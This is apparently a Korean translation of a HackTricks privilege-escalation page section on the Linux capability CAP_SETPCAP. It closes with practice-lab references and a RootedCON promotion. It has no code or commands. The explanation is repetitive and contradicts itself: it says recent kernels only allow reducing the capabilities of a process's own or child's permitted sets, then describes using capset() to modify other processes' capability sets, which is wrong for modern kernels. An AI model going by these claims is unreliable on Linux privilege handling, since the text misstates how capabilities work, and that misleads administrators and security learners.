CAP_SETPCAP는 프로세스가 다른 프로세스의 능력 집합을 변경할 수 있도록 하여, 유효한, 상속 가능한 및 허용된 집합에서 능력을 추가하거나 제거할 수 있게 합니다. 그러나 프로세스는 자신의 허용된 집합에 있는 능력만 수정할 수 있으므로, 다른 프로세스의 권한을 자신의 권한 이상으로 상승시킬 수 없습니다. 최근 커널 업데이트는 이러한 규칙을 강화하여 CAP_SETPCAP가 자신의 허용된 집합이나 자식 프로세스의 허용된 집합 내에서만 능력을 줄일 수 있도록 제한하여 보안 위험을 완화하고자 했습니다. 사용하려면 유효한 집합에 CAP_SETPCAP가 있어야 하며, 수정할 대상 능력이 허용된 집합에 있어야 하며, capset()을 사용하여 수정합니다. 이는 CAP_SETPCAP의 핵심 기능과 제한 사항을 요약하며, 권한 관리 및 보안 강화에서의 역할을 강조합니다.

**CAP_SETPCAP**는 프로세스가 다른 프로세스의 능력 집합을 수정할 수 있도록 하는 리눅스 능력입니다. 이는 다른 프로세스의 유효한, 상속 가능한 및 허용된 능력 집합에서 능력을 추가하거나 제거할 수 있는 능력을 부여합니다. 그러나 이 능력을 사용하는 방법에 대한 특정 제한이 있습니다.

CAP_SETPCAP가 있는 프로세스는 자신의 허용된 능력 집합에 있는 능력만 부여하거나 제거할 수 있습니다. 즉, 프로세스가 그 능력을 가지고 있지 않다면 다른 프로세스에 능력을 부여할 수 없습니다. 이 제한은 프로세스가 다른 프로세스의 권한을 자신의 권한 수준 이상으로 상승시키는 것을 방지합니다.

게다가, 최근 커널 버전에서는 CAP_SETPCAP 능력이 더욱 제한되었습니다. 이제 프로세스가 다른 프로세스의 능력 집합을 임의로 수정할 수 없습니다. 대신, 자신의 허용된 능력 집합이나 자식 프로세스의 허용된 능력 집합에서 능력을 줄이는 것만 허용합니다. 이 변경은 능력과 관련된 잠재적인 보안 위험을 줄이기 위해 도입되었습니다.

CAP_SETPCAP를 효과적으로 사용하려면 유효한 능력 집합에 이 능력이 있어야 하며, 대상 능력이 허용된 능력 집합에 있어야 합니다. 그런 다음 capset() 시스템 호출을 사용하여 다른 프로세스의 능력 집합을 수정할 수 있습니다.

요약하자면, CAP_SETPCAP는 프로세스가 다른 프로세스의 능력 집합을 수정할 수 있도록 하지만, 자신이 가지고 있지 않은 능력을 부여할 수는 없습니다. 또한 보안 문제로 인해 최근 커널 버전에서는 자신의 허용된 능력 집합이나 자식 프로세스의 허용된 능력 집합에서 능력을 줄이는 것만 허용하도록 기능이 제한되었습니다.

References

이 예제의 대부분은 https://attackdefense.pentesteracademy.com/ 의 일부 실험실에서 가져온 것입니다. 따라서 이 privesc 기술을 연습하고 싶다면 이 실험실을 추천합니다.

기타 참고자료:

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 사명을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

HackTricks 지원하기

Last updated